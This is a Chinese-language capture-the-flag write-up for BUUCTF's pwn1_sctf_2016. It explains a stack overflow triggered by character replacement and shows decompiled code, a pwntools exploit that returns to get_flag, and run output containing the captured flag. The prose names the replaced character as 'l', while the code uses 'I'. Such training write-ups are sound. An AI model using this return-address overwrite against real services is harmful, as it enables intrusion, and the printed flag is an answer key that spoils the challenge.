

pwn1_sctf_2016 buuctf

vuln()函数要求输入一个字符串s（长度不超过32），不能直接溢出，这个函数个功能是将输入字符串中的字符 'l' 替换为 'you',最后将替换后的字符串再赋给s输出。

因此，可以通过输入一定数量的字符 'l' 造成栈溢出，去执行get_flag()函数

```
4  const char *v1; // eax
5  char s; // [esp+1Ch] [ebp-3Ch]
6  char v4; // [esp+3Ch] [ebp-1Ch]
7  char v5; // [esp+40h] [ebp-18h]
8  char v6; // [esp+47h] [ebp-11h]
9  char v7; // [esp+48h] [ebp-10h]
10 char v8; // [esp+4Fh] [ebp-9h]
11
12 printf("Tell me something about yourself: ");
13 fgets(&s, 32, edata);
14 std::string::operator=((int)&input, (int)&s);
15 std::allocator<char>::allocator(&v6);
16 std::string::string((int)&v5, (int)"you", (int)&v6);
17 std::allocator<char>::allocator(&v8);
18 std::string::string((int)&v7, (int)"I", (int)&v8);
19 replace((std::string *)&v4, (std::string *)&input, (std::string *)&v7);
20 std::string::operator=((int)&input, (int)&v4, v0, (int)&v5);
21 std::string::~~string((std::string *)&v4);
22 std::string::~~string((std::string *)&v7);
23 std::allocator<char>::~~allocator(&v8);
24 std::string::~~string((std::string *)&v5);
25 std::allocator<char>::~~allocator(&v6);
26 v1 = (const char *)std::string::c_str((std::string *)&input);
27 strcpy(&s, v1);
28 return printf("So, %s\n", &s);
29 }
```

Python

```
1 from pwn import *
2 context.log_level='debug'
3 p = remote('node3.buuoj.cn',27731)
4 #p = process('./pwn')
5 sys_addr = 0x08048F0D
6 payload = 'I'*0x14 + 'A'*0x04 + p32(sys_addr)
7 p.sendline(payload)
8 p.interactive()
```

```
root@ubuntu:/home/ams/ws/p3# python exp.py
[+] Opening connection to node3.buuoj.cn on port 27731: Done
[DEBUG] Sent 0x1d bytes:
  00000000  49 49 49 49  49 49 49 49  49 49 49 49  49 49 49 49  |IIII|IIII|IIII|IIII|
  00000010  49 49 49 49  41 41 41 41  0d 8f 04 08  0a              |IIII|AAAA|....|. |
  0000001d
[*] Switching to interactive mode
[DEBUG] Received 0x2b bytes:
  'flag{3094fd1e-2b4c-445c-8812-95bee6807d30}\n'
flag{3094fd1e-2b4c-445c-8812-95bee6807d30}
[DEBUG] Received 0x2b bytes:
  'timeout: the monitored command dumped core\n'
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$
```